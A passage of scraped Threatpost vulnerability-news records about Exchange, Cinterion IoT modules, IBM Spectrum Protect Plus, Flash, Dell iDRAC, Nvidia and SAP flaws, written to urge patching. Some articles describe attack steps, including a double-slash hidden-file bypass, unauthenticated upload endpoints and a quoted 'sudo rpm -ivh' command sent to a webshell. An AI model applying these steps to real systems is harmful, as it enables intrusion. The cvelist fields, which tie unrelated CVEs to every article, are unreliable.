\u201cWe felt Exchange administrators should treat this as a Critical patch rather than Important as labelled by Microsoft. We encourage everyone to apply the patch as soon as possible to protect themselves from this vulnerability.\u201d\n\nThe patch management issues with Exchange servers extend beyond CVE-2020-0688. Sellers said his investigation revealed that over 31,000 Exchange 2010 servers have not been updated since 2012. And, there are nearly 800 Exchange 2010 servers that have never been updated, he said.\n\nSellers urged admins to verify that an update has been deployed. He also said users can determine whether anyone has attempted to exploit the vulnerability in their environment: \u201cSince exploitation requires a valid Exchange user account, any account tied to these attempts should be treated as compromised,\u201d Sellers said.\n\n> If your org uses Microsoft Exchange I *strongly* recommend you make sure the patch for CVE-2020-0688 (Feb 11) is installed.\n> \n> Unpatched means phished user = SYSTEM on OWA servers.[@Rapid7](<https://twitter.com/rapid7?ref_src=twsrc%5Etfw>) Project Sonar found at least 357,629 unpatched hosts.\n> \n> Blog post: <https://t.co/DclWb3T0mZ>\n> \n> \u2014 Tom Sellers (@TomSellers) [April 6, 2020](<https://twitter.com/TomSellers/status/1247215382773018624?ref_src=twsrc%5Etfw>)\n\n\u201cThe most important step is to determine whether Exchange has been updated,\u201d Sellers said. \u201cThe update for CVE-2020-0688 needs to be installed on any server with the Exchange Control Panel (ECP) enabled. This will typically be servers with the Client Access Server (CAS) role, which is where your users would access Outlook Web App (OWA).\u201d\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2020/03/24173101/DUO_320x50.jpg)](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\n\n_**Do you suffer from Password Fatigue? On [Wednesday April 8 at 2 p.m. ET](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) join **_**_Duo Security and Threatpost as we explore a [passwordless](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) future. This [FREE](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) webinar maps out a future where modern authentication standards like WebAuthn significantly reduce a dependency on passwords. We\u2019ll also explore how teaming with Microsoft can reduced reliance on passwords. [Please register here](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>) and dare to ask, \u201c[Are passwords overrated?](<https://attendee.gotowebinar.com/register/7732731543372035596?source=art>)\u201d in this sponsored webinar. _**\n", "cvss3": {}, "published": "2020-04-07T21:19:15", "type": "threatpost", "title": "Serious Exchange Flaw Still Plagues 350K Servers", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-0688", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-04-07T21:19:15", "id": "THREATPOST:DF7C78725F19B2637603E423E56656D4", "href": "https://threatpost.com/serious-exchange-flaw-still-plagues-350k-servers/154548/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:15:05", "description": "Researchers are urging connected-device manufacturers to ensure they have applied patches addressing a flaw in a module used by millions of Internet-of-Things (IoT) devices. If exploited, researchers speculated that the flaw could allow attackers to knock out a city\u2019s electricity or even overdose a medical patient.\n\nThe vulnerability exists in a widely used Cinterion module, a small electronic device embedded in IoT devices that connects to wireless networks and sends and receives data. The module is manufactured by Thales, a French company that designs and builds electrical systems for aerospace markets.\n\nResearchers discovered the flaw in Cinterion\u2019s EHS8 module \u2013 however, further testing revealed that five other models in the same product line were also affected (BGS5, EHS5/6/8, PDS5/6/8, ELS61, ELS81, PLS62). The flaw could be exploited to steal confidential information, take control of devices, gain access to control networks and more.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\n\u201c[The modules] store and run Java code, often containing confidential information like passwords, encryption keys and certificates,\u201d said Adam Laurie, with IBM X-Force Threat Intelligence, [in a Wednesday post](<https://securityintelligence.com/posts/new-vulnerability-could-put-iot-devices-at-risk/>). \u201cUsing information stolen from the modules, malicious actors can potentially control a device or gain access to the central control network to conduct widespread attacks \u2013 even remotely via 3G in some cases.\u201d\n\nThe vulnerability ([CVE-2020-15858](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-15858>)) was first discovered last September, and Thales issued a fix in early 2020 \u2013 but while patches are available, researchers warn that it will take a while for many critical-infrastructure manufacturers to apply them to their devices. Researchers disclosed the flaw on Wednesday, after working with Thales \u201cto ensure users are aware of the patch and taking steps to secure their systems.\u201d\n\nResearchers found a way to bypass security checks that keep files or operational code hidden from unauthorized users.\n\nThe flaw exists in the way that AT commands are processed by the module, Dan Crowley, research director at IBM X-Force Red, told Threatpost. It is related to a string of Java code that counts the number of characters in the path substring.\n\nThis string of code checks if the fourth character of a path substring is a dot. Normally, any attempt to access hidden files with a dot prefix will be denied (example: a:/.hidden_file) \u2013 However, replacing the slash with double slash (example: a://.hidden_file) will cause the condition to fail. An attacker could therefore use the dot-prefixed filename to bypass the security test condition.\n\n\u201cA real-world attacker could go wardialing to try to identify modems over the cellular network, attempting to issue the AT command that exploits the flaw,\u201d Crowley explained. \u201cSome of these will be the vulnerable module, and an attacker will then have an assortment of phone numbers and associated code retrieved from the device at that number. By inserting backdoors into the code and writing them back, the attacker would be in control of various IoT devices around the world. \u201d\n\nIf exploited, attackers could potentially access the wealth of confidential data stored by the modules. This may include intellectual property (IP), credentials, passwords, encryption keys and more. And, due to the sheer breadth of connected devices that are powered by this module \u2013 from medical devices to connected utilities \u2013 researchers warn that the potential impact of the flaw could be dire if not patched.\n\nFor instance, the flaw could be used in medical devices that leverage the module to manipulate readings from monitoring devices, to cover up concerning vital signs or create false panic.\n\n\u201cIn a device that delivers treatment based on its inputs, such as an insulin pump, cybercriminals could over- or underdose patients,\u201d said researchers.\n\nAnd in the utility space, it could be used to compromise smart meters to deliver falsified readings that increase or reduce a monthly bill.\n\n\u201cWith access to a large group of these devices through a control network, a malicious actor could also shut down meters for an entire city, causing wide-reaching blackouts that require individual repair visits, or, even worse, damage to the grid itself,\u201d said researchers.\n\nVulnerabilities and security issues [continue to plague connected devices](<https://threatpost.com/iot-security-healthcare-industry/150157/>) \u2013 even as the number of internet-connected devices used globally is predicted to grow to [55.9 billion](<https://blogs.idc.com/2019/11/04/how-you-contribute-to-todays-growing-datasphere-and-its-enterprise-impact/>) by 2025. More than half of all IoT devices are vulnerable to medium- or high-severity attacks, meaning that enterprises are sitting on a \u201cticking IoT time bomb,\u201d [researchers warned earlier this year](<https://threatpost.com/half-iot-devices-vulnerable-severe-attacks/153609/>).\n\nX-Force security researchers for their part said that this specific patch can be administered by IoT manufacturers in two ways \u2013 either by plugging in a USB to run an update via software, or by administering an over-the-air (OTA) update. However, the more heavily regulated devices, including connected medical devices or industrial-control gear, will have more difficulty applying the patch, since doing so may require recertification, an often time-intensive process, they said.\n\n\u201cThe patching process for this vulnerability is completely dependent on the manufacturer of the device and its capabilities \u2013 for example, whether the device has access to the internet could make it complicated to work with,\u201d they said.\n\n_It\u2019s the age of remote working, and businesses are facing new and bigger cyber-risks \u2013 whether it\u2019s collaboration platforms in the crosshairs, evolving insider threats or issues with locking down a much broader footprint. Find out how to address these new cybersecurity realities with our complimentary _[_Threatpost eBook_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)**_, 2020 in Security: Four Stories from the New Threat Landscape_**_, presented in conjunction with Forcepoint. We redefine \u201csecure\u201d in a work-from-home world and offer compelling real-world best practices. _[_Click here to download our eBook now_](<https://threatpost.com/ebooks/2020-in-security-four-stories-from-the-new-threat-landscape/?utm_source=ART&utm_medium=articles&utm_campaign=fp_ebook>)_._\n", "cvss3": {}, "published": "2020-08-19T20:58:28", "type": "threatpost", "title": "Researchers Warn of Flaw Affecting Millions of IoT Devices", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-15858", "CVE-2020-24400", "CVE-2020-24407"], "modified": "2020-08-19T20:58:28", "id": "THREATPOST:40065E8C90768C4FEA330195000FA7DB", "href": "https://threatpost.com/flaw-affecting-millions-iot-devices/158472/", "cvss": {"score": 3.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:N"}}, {"lastseen": "2020-10-15T22:13:56", "description": "IBM has issued fixes for vulnerabilities in Spectrum Protect Plus, Big Blue\u2019s security tool found under the umbrella of its Spectrum data storage software branding. The flaws can be exploited by remote attackers to execute code on vulnerable systems.\n\nIBM Spectrum Protect Plus is a data-protection solution that provides near-instant recovery, replication, reuse and self-service for virtual machines. The vulnerabilities (CVE-2020-4703 and CVE-2020-4711) affect versions 10.1.0 through 10.1.6 of IBM Spectrum Protect Plus.\n\n[![Threatpost Webinar Promo Bug Bounty](https://media.threatpost.com/wp-content/uploads/sites/103/2020/09/04091928/bounty_webinar_promo_small.gif)](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)\n\nClick to Register\n\nThe more serious of the two flaws (CVE-2020-4703) exists in IBM Spectrum Protect Plus\u2019 Administrative Console and could allow an authenticated attacker to upload arbitrary files \u2013 which could then be used to execute arbitrary code on the vulnerable server, according to researchers with Tenable, who discovered the flaws, [in a Monday advisory](<https://www.tenable.com/security/research/tra-2020-54>). The bug ranks 8 out of 10 on the CVSS scale, making it high-severity.\n\nThis vulnerability is due to an incomplete fix for CVE-2020-4470, a high-severity flaw [that was previously disclosed in June](<https://nvd.nist.gov/vuln/detail/CVE-2020-4470>). An exploit for CVE-2020-4470 involves two operations, Tenable researchers said: \u201cThe first operation is to upload a malicious RPM package to a directory writable by the administrator account by sending an HTTP POST message to URL endpoint https://<spp_host>:8090/api/plugin,\u201d they said. \u201cThe second operation is to install the malicious RPM by sending an HTTP POST message to URL endpoint http://<spp_host>:8090/emi/api/hotfix.\u201d\n\nBut IBM\u2019s ensuing fix for CVE-2020-4470 only addressed the second operation by enforcing authentication for the /emi/api/hotfix endpoint. Researchers found, it was still possible to upload unauthenticated arbitrary files to a directory writable by the administrator account, under which the endpoint handlers run \u2013 paving the way for code execution on vulnerable systems.\n\n\u201cThe attacker can put malicious content (i.e., scriptlets) in the RPM and and issue a \u2018sudo /bin/rpm -ivh /tmp/<uploaded_malicious_rpm>\u2019 command to the webshell, achieving unauthenticated RCE as root,\u201d said researchers.\n\nThe second flaw, CVE-2020-4711, exists in a script (/opt/ECX/tools/scripts/restore_wrapper.sh) within Spectrum Protect Plus. A directory path check within this function can be bypassed via path traversal. An unauthenticated, remote attacker can exploit this issue by sending a specially crafted HTTP request to a specially-crafted URL endpoint (https://<spp_host>:8090/catalogmanager/api/catalog), Tenable researchers said.\n\nThat endpoint doesn\u2019t require any authentication (when the cmode parameter is the restorefromjob method). When the request has been sent, the endpoint handler instead calls a method (com.catalogic.ecx.catalogmanager.domain.CatalogManagerServiceImpl.restoreFromJob) without checking for user credentials. The restoreFromJob method then executes the /opt/ECX/tools/scripts/restore_wrapper.sh script as root \u2013 allowing the attacker to view arbitrary files on the system.\n\nTenable researchers discovered the flaws on July 31 and reported them to IBM on Aug. 18. IBM released the patches and an advisory disclosing the flaws on Monday. Threatpost has reached out to IBM for further comment.\n\nIn recent months, various IBM products have been found to have security vulnerabilities. In August, a shared-memory flaw was discovered in [IBM\u2019s next-gen data-management software](<https://threatpost.com/ibm-ai-powered-data-management-software-subject-exploit/158497/>) that researchers said could lead to other threats \u2014 as demonstrated by a new proof-of-concept exploit for the bug.\n\nAnd in April, four serious security vulnerabilities in [the IBM Data Risk Manager](<https://threatpost.com/rce-exploit-ibm-data-risk-manager-no-patch/154986/>) (IDRM) were identified that can lead to unauthenticated remote code execution (RCE) as root in vulnerable versions, according to analysis \u2013 and a proof-of-concept exploit is available.\n\n[**On Wed Sept. 16 @ 2 PM ET:**](<https://threatpost.com/webinars/five-essentials-for-running-a-successful-bug-bounty-program/>)** Learn the secrets to running a successful Bug Bounty Program. **[**Register today**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** for this FREE Threatpost webinar \u201c**[**Five Essentials for Running a Successful Bug Bounty Program**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)**\u201c. Hear from top Bug Bounty Program experts how to juggle public versus private programs and how to navigate the tricky terrain of managing Bug Hunters, disclosure policies and budgets. Join us Wednesday Sept. 16, 2-3 PM ET for this **[**LIVE**](<https://slack-redir.net/link?url=https%3A%2F%2Fthreatpost.com%2Fwebinars%2Ffive-essentials-for-running-a-successful-bug-bounty-program%2F>)** webinar.**\n", "cvss3": {}, "published": "2020-09-15T19:08:13", "type": "threatpost", "title": "IBM Spectrum Protect Plus Security Open to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-4470", "CVE-2020-4703", "CVE-2020-4711", "CVE-2020-5135"], "modified": "2020-09-15T19:08:13", "id": "THREATPOST:033645C929899D29D91092278D188D8E", "href": "https://threatpost.com/ibm-flaws-spectrum-protect-plus/159268/", "cvss": {"score": 6.0, "vector": "AV:N/AC:M/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:12:04", "description": "Adobe is warning of a critical vulnerability in its Flash Player application for users on Windows, macOS, Linux and ChromeOS operating systems.\n\nThe vulnerability is [the only flaw released this month](<https://blogs.adobe.com/psirt/?p=1925>) as part of Adobe\u2019s regularly scheduled patches (markedly less than the 18 flaws addressed [during its September regularly scheduled fixes](<https://threatpost.com/critical-adobe-flaws-attackers-javascript-browsers/159026/>)). However, it\u2019s a critical bug ([CVE-2020-9746](<https://nvd.nist.gov/vuln/detail/CVE-2020-9746>)), and if successfully exploited could lead to an exploitable crash, potentially resulting in arbitrary code execution in the context of the current user, according to Adobe.\n\n[![Threatpost Webinar Promo Retail Security](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/07103433/webinar-promo-retail-security-1.jpg)](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\n\nClick to Register!\n\n\u201cAs is typically the case for Flash Player vulnerabilities, web-based exploitation is the primary vector of exploitation but not the only one,\u201d according to Nick Colyer, senior product marketing manager with Automox, in an email. \u201cThese vulnerabilities can also be exploited through an embedded ActiveX control [[a feature in Remote Desktop Protocol](<https://threatpost.com/trickbot-activex-control-dropper/153370/>)] in a Microsoft Office document or any application that uses the Internet Explorer rendering engine.\u201d\n\nThe issue stems from a NULL pointer-dereference error. This type of issue occurs when a program attempts to read or write to memory with a NULL pointer. Running a program that contains a NULL pointer dereference generates an immediate segmentation fault error.\n\nAffected are versions 32.0.0.433 and earlier of Adobe Flash Desktop Runtime (for Windows, macOS and Linux); Adobe Flash Player for Google Chrome (Windows, macOS, Linux and Chrome OS) and Adobe Flash Player for Microsoft Edge and Internet Explorer 11 (Windows 10 and 8.1).\n\nA patch is available in version 32.0.0.445 across all affected platforms (see below). Adobe ranks the patch as a \u201cpriority 2,\u201d meaning that it \u201cresolves vulnerabilities in a product that has historically been at elevated risk\u201d \u2013 however, there are currently no known exploits.\n\n[![adobe flash player](https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/13130904/adobe-flash-player.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/10/13130904/adobe-flash-player.png>)\n\nAdobe Flash Player flaw updates\n\nFlash is known to be a favorite target for cyberattacks, particularly for exploit kits, [zero-day attacks](<https://threatpost.com/adobe-flash-player-zero-day-spotted-in-the-wild/129742/>) and phishing schemes. Of note, [Adobe announced in July 2017](<https://threatpost.com/patched-flash-player-sandbox-escape-leaked-windows-credentials/127378/>) that it plans to push Flash into an end-of-life state, meaning that it will no longer update or distribute Flash Player at the end of this year. In June, with Flash Player\u2019s Dec. 31 kill date quickly approaching, [Adobe said that it will start prompting users](<https://threatpost.com/adobe-prompts-users-to-uninstall-flash-player-as-eol-date-looms/156794/>) to uninstall the software in the coming months.\n\nFlash Player has previously caused headaches for system admins over the past year, with Adobe warning of critical issues that could allow for arbitrary code execution [in February](<https://threatpost.com/adobe-security-update-critical-flash-framemaker-flaws/152782/>) and [in June.](<https://threatpost.com/adobe-warns-critical-flaws-flash-player-framemaker/156417/>)\n\nAdobe recommends that users update their product installations to the latest versions using the instructions referenced in the bulletin. As a security best practice, remediation of commonly exploitable or recurring threat vectors is always strongly encouraged, Colyer said.\n\n\u201cFor organizations that cannot remove Adobe Flash due to a business-critical function, it is recommended to mitigate the threat potential of these vulnerabilities by preventing Adobe Flash Player from running altogether via the killbit feature, set a Group Policy to turn off instantiation of Flash objects, or limit trust center settings prompting for active scripting elements,\u201d said Colyer.\n\n** [On October 14 at 2 PM ET](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) Get the latest information on the rising threats to retail e-commerce security and how to stop them. [Register today](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>) for this FREE Threatpost webinar, \u201c[Retail Security: Magecart and the Rise of e-Commerce Threats.](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)\u201d Magecart and other threat actors are riding the rising wave of online retail usage and racking up big numbers of consumer victims. Find out how websites can avoid becoming the next compromise as we go into the holiday season. Join us Wednesday, Oct. 14, 2-3 PM ET for this [LIVE ](<https://threatpost.com/webinars/retail-security-magecart-and-the-rise-of-retail-security-threats/?utm_source=ART&utm_medium=ART&utm_campaign=oct_webinar>)webinar.**\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n * [Web Security](<https://threatpost.com/category/web-security/>)\n", "cvss3": {}, "published": "2020-10-13T17:46:11", "type": "threatpost", "title": "Critical Flash Player Flaw Opens Adobe Users to RCE", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-9746"], "modified": "2020-10-13T17:46:11", "id": "THREATPOST:A9A57AE690BD069DB9BBA2CD154B315F", "href": "https://threatpost.com/flash-player-flaw-adobe-rce/160034/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2020-10-15T22:16:11", "description": "Researchers have disclosed details of a recently patched, high-severity Dell PowerEdge server flaw, which if exploited could allow an attacker to fully take over and control server operations.\n\nThe web vulnerability was found in the Dell EMC iDRAC remote access controller, technology embedded within the latest versions of Dell PowerEdge servers. While the vulnerability was fixed earlier in July, Georgy Kiguradze and Mark Ermolov, the researchers with Positive Technologies who discovered the flaw, published a detailed analysis, Tuesday.\n\nThe path traversal vulnerability ([CVE-2020-5366](<https://www.dell.com/support/article/en-us/sln322125/dsa-2020-128-idrac-local-file-inclusion-vulnerability?lang=en>)), found in Dell EMC iDRAC9 versions prior to 4.20.20.20, is rated as a 7.1 in terms of exploitability, giving it a high-severity vulnerability rating, according to [an advisory](<https://www.dell.com/support/article/pt-pt/sln322125/dsa-2020-128-idrac-local-file-inclusion-vulnerability?lang=en>) published online by Dell.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nPath traversal is one of the three most common vulnerabilities researchers said that they come across in their investigations. If exploited, the flaw can allow attackers to view the content of server folders that should not be accessible even to someone who\u2019s logged in as an ordinary site user. iDRAC runs on Linux, and the specific appeal to hackers in exploiting the vulnerability would be the ability to read the file /etc/passwd, which stores information about Linux users, the researchers said.\n\nAn example of how this can be used by attackers is a recent attack on [two vulnerabilities](<https://www.forbes.com/sites/kateoflahertyuk/2020/06/04/zoom-users-beware-here-are-two-critical-reasons-to-update-your-app/#461dbfdd1767>) found on the Zoom video conferencing app that could allow remote attackers to breach the system of any participant in a group call. Indeed, a remote, authenticated malicious user with low privileges could potentially exploit the iDRAC flaw by manipulating input parameters to gain unauthorized read access to the arbitrary files, Dell EMC warned in its advisory.\n\niDRAC is designed to allow IT administrators to remotely deploy, update, monitor and maintain Dell servers without installing new software. Dell has already released an update to the iDRAC firmware that fixes the flaw and it recommends customers update as soon as possible.\n\nThe vulnerability can only be exploited if iDRAC is connected to the internet, which Dell EMC does not recommend, researchers said. IDRAC also is a relatively new technology in Dell EMC servers, which means it may not be widely used yet.\n\nStill, researchers said that public search engines already discovered several Internet-accessible connections to iDRAC that could be exploited, as well as 500 controllers available for access using SNMP.\n\nThe iDRAC controller is used by network administrators to manage key servers, \u201ceffectively functioning as a separate computer inside the server itself,\u201d Kiguradze explained in a press statement.\n\n\u201ciDRAC runs on ordinary Linux, although in a limited configuration, and has a fully-fledged file system,\u201d he said. \u201cThe vulnerability makes it possible to read any file in the controller\u2019s operating system, and in some cases, to interfere with operation of the controller\u2013for instance during reading symbolic Linux devices like /dev/urandom.\u201d\n\nAttackers can exploit the flaw externally by obtaining the back-up of a privileged user or if they have credentials or brute-force their way in, Kiguradze said. They also could use the account of a junior administrator with limited server access to exploit the flaw internally, he said. Once an attacker gains control, he or she can externally block or disrupt the server\u2019s operation.\n\nTo better secure Dell servers that use iDRAC, researchers recommended that customers place iDRAC on a separate administration network and don\u2019t connect the controller to the internet. Companies also should isolate the administration network or VLAN (such as with a firewall) and restrict access to the subnet or VLAN to authorized server administrators only.\n\nOther recommendations by Dell EMC to secure iDRAC against intrusion include using 256-bit encryption and TLS 1.2 or later; configuration options such as IP address range filtering and system lockdown mode; and additional authentication such as Microsoft Active Directory or LDAP.\n\n_**Complimentary Threatpost Webinar: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\u201d brings top cloud-security experts together to explore how Confidential Computing is a game changer for securing dynamic cloud data and preventing IP exposure. Join us [Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) for this FREE live webinar.**_\n", "cvss3": {}, "published": "2020-07-28T13:11:01", "type": "threatpost", "title": "Researchers Warn of High-Severity Dell PowerEdge Server Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5366"], "modified": "2020-07-28T13:11:01", "id": "THREATPOST:9C49BCB0388D167E73DA96F633225C8F", "href": "https://threatpost.com/researchers-warn-of-high-severity-dell-poweredge-server-flaw/157795/", "cvss": {"score": 4.0, "vector": "AV:N/AC:L/Au:S/C:P/I:N/A:N"}}, {"lastseen": "2020-10-15T22:17:47", "description": "Graphics chipmaker Nvidia has fixed two high-severity flaws in its graphics drivers. Attackers can exploit the vulnerabilities to view sensitive data, gain escalated privileges or launch denial-of-service (DoS) attacks in impacted Windows gaming devices.\n\nNvidia\u2019s graphics driver (also known as the GPU Display Driver) for Windows is used in devices targeted to enthusiast gamers; it\u2019s the software component that enables the device\u2019s operating system and programs to use its high-level, gaming-optimized graphics hardware.\n\nOne of the vulnerabilities, CVE-2020-5962, exists in the Nvidia Control Panel component, which provides control of the graphics driver settings as well as other utilities installed on the system. The flaw could allow an attacker with local system access to corrupt a system file, which may lead to DoS or escalation of privileges, according to Nvidia\u2019s [Wednesday security advisory.](<https://nvidia.custhelp.com/app/answers/detail/a_id/5031>)\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nAnother vulnerability (CVE\u20112020\u20115963) exists in the CUDA Driver, a computing platform and programming model invented by Nvidia. The issue stems from improper access control in the driver\u2019s Inter Process Communication APIs. It could lead to lead to code execution, DoS or information disclosure.\n\nThe display driver also contains four medium-severity flaws, existing in the service host component (CVE\u20112020\u20115964), the DirectX 11 user mode driver (CVE\u20112020\u20115965), the the kernel mode layer (CVE\u20112020\u20115966) and the UVM driver (CVE\u20112020\u20115967).\n\nVarious drivers are affected for Windows and Linux users, including ones that use Nvidia\u2019s GeForce, Quadro and Tesla software. A full list of affected \u2013 and updated \u2013 versions are below.\n\n[![Nvidia high severity flaws Windows drivers](https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/25101158/nvidia-patches-1024x619.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/06/25101158/nvidia-patches.png>)\n\nNvidia also stomped out four high-severity flaws in its Virtual GPU (vGPU) manager, its tool that enables multiple virtual machines to have simultaneous, direct access to a single physical GPU, while also using Nvidia graphics drivers deployed on non-virtualized operating systems.\n\nIn this case, the software does not restrict (or incorrectly restricts) operations within the boundaries of a resource that could be accessed by using an index or pointer, such as memory or files. That may lead to code execution, DoS, escalation of privileges or information disclosure (CVE\u20112020\u20115968), warned Nvidia.\n\nAnother flaw stems from the vGPU plugin validating shared resources before using them, creating a race condition which may lead to DoS or information disclosure (CVE\u20112020\u20115969). And in another glitch, input data size is not validated in the vGPU plugin, which may lead to tampering or denial of service (CVE\u20112020\u20115970).\n\nThe final vGPU flaw (CVE\u20112020\u20115971) stems from the software reading from a buffer by using buffer access mechanisms (such as indexes or pointers) that reference memory locations after the targeted buffer. This could lead to code execution, DoS, escalated privileges, or information disclosure.\n\nIt\u2019s only the latest slew of patches that Nvidia has issued. Earlier in March, the [company fixed several high-severity vulnerabilities](<https://threatpost.com/gamer-alert-serious-nvidia-flaw-plagues-graphics-driver/153380/>) in its graphics driver, which can be exploited by a local attacker to launch DoS or code-execution attacks. Last year, Nvidia issued fixes for [high-severity flaws](<https://threatpost.com/gamers-hit-with-nvidia-gpu-driver-geforce-flaws/149992/>) in two popular gaming products, including its graphics driver for Windows and GeForce Experience. The flaws could be exploited to launch an array of malicious attacks \u2013 from DoS to escalation of privileges. Also in 2019, [Nvidia patched](<https://threatpost.com/nvidia-geforce-experience-bug/143196/>) another high-severity vulnerability in its GeForce Experience software, which could lead to code-execution or DoS of products, if exploited.\n\n**_BEC and enterprise email fraud is surging, but DMARC can help \u2013 if it\u2019s done right. On July 15 at 2 p.m. ET, join Valimail Global Technical Director Steve Whittle and Threatpost for a [FREE webinar](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>), \u201cDMARC: 7 Common Business Email Mistakes.\u201d This technical \u201cbest practices\u201d session will cover constructing, configuring, and managing email authentication protocols to ensure your organization is protected. [Click here to register](<https://attendee.gotowebinar.com/register/441045308082589963?source=art>) for this Threatpost webinar, sponsored by Valimail._**\n", "cvss3": {}, "published": "2020-06-25T14:44:18", "type": "threatpost", "title": "Nvidia Warns Windows Gamers of Serious Graphics Driver Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2020-24400", "CVE-2020-24407", "CVE-2020-5962"], "modified": "2020-06-25T14:44:18", "id": "THREATPOST:972202A633AD7E38B95647F050D95060", "href": "https://threatpost.com/nvidia-windows-gamers-graphics-driver-bugs/156911/", "cvss": {"score": 4.6, "vector": "AV:L/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:16:50", "description": "A critical vulnerability, carrying a severity score of 10 out of 10 on the CvSS bug-severity scale, has been disclosed for SAP customers.\n\nSAP\u2019s widely deployed collection of enterprise resource planning (ERP) software is used to manage their financials, logistics, customer-facing organizations, human resources and other business areas. As such, the systems contain plenty of sensitive information.\n\nAccording to [an alert](<https://us-cert.cisa.gov/ncas/alerts/aa20-195a>) from the Department of Homeland Security, successful exploitation of the bug opens the door for attackers to read and modify financial records; change banking details; read personal identifiable information (PII); administer purchasing processes; sabotage or disrupt operations; achieve operating system command execution; and delete or modify traces, logs and other files.\n\n[![](https://media.threatpost.com/wp-content/uploads/sites/103/2019/02/19151457/subscribe2.jpg)](<https://threatpost.com/newsletter-sign/>)\n\nThe bug ([CVE-2020-6287](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6287>)) has been named RECON by the Onapsis Research Labs researchers that found it, and it affects more than 40,000 SAP customers, they noted. SAP [delivered a patch](<https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=552599675>) for the issue on Tuesday as part of its July 2020 Security Note.\n\n\u201cIt stands for Remotely Exploitable Code On NetWeaver,\u201d Mariano Nunez, CEO of Onapsis, told Threatpost. \u201cThis vulnerability resides inside SAP NetWeaver Java versions 7.30 to 7.50 (the latest version as of [our analysis publication]. All Support Packages tested to date were vulnerable. SAP NetWeaver is the base layer for several SAP products and solutions.\u201d\n\nAn attacker leveraging this vulnerability will have unrestricted access to critical business information and processes in a variety of different scenarios, according to the firm.\n\n## **NetWeaver Java Woes**\n\nThe bug affects a default component present in every SAP application running the SAP NetWeaver Java technology stack, according to Onapsis. This technical component is used in many SAP business solutions, such as SAP S/4HANA, SAP SCM, SAP CRM, SAP CRM, SAP Enterprise Portal, SAP Solution Manager (SolMan) and many others, the researchers said.\n\nAccording to DHS, the vulnerability is introduced due to the lack of authentication in a web component of the SAP NetWeaver AS for Java, allowing for several high-privileged activities on the SAP system. A remote, unauthenticated attacker can exploit this vulnerability through an HTTP interface, which is typically exposed to end users and, in many cases, exposed to the internet.\n\n\u201cIf successfully exploited, a remote, unauthenticated attacker can obtain unrestricted access to SAP systems through the creation of high-privileged users and the execution of arbitrary operating system commands with the privileges of the SAP service user account (`<sid>adm`), which has unrestricted access to the SAP database and is able to perform application maintenance activities, such as shutting down federated SAP applications,\u201d according to the alert.\n\n## Impact\n\nPut another way, an unauthenticated attacker could create a new SAP user with maximum privileges, bypassing all access and authorization controls (such as segregation of duties, identity management, and governance, risk and compliance solutions) and gaining full control of SAP systems, Nunez said.\n\n\u201cWith SAP NetWeaver Java being a fundamental base layer for several SAP products, the specific impact would vary depending on the affected system,\u201d according to Onapsis, in a [technical analysis](<https://www.onapsis.com/recon-sap-cyber-security-vulnerability>) released on Tuesday. 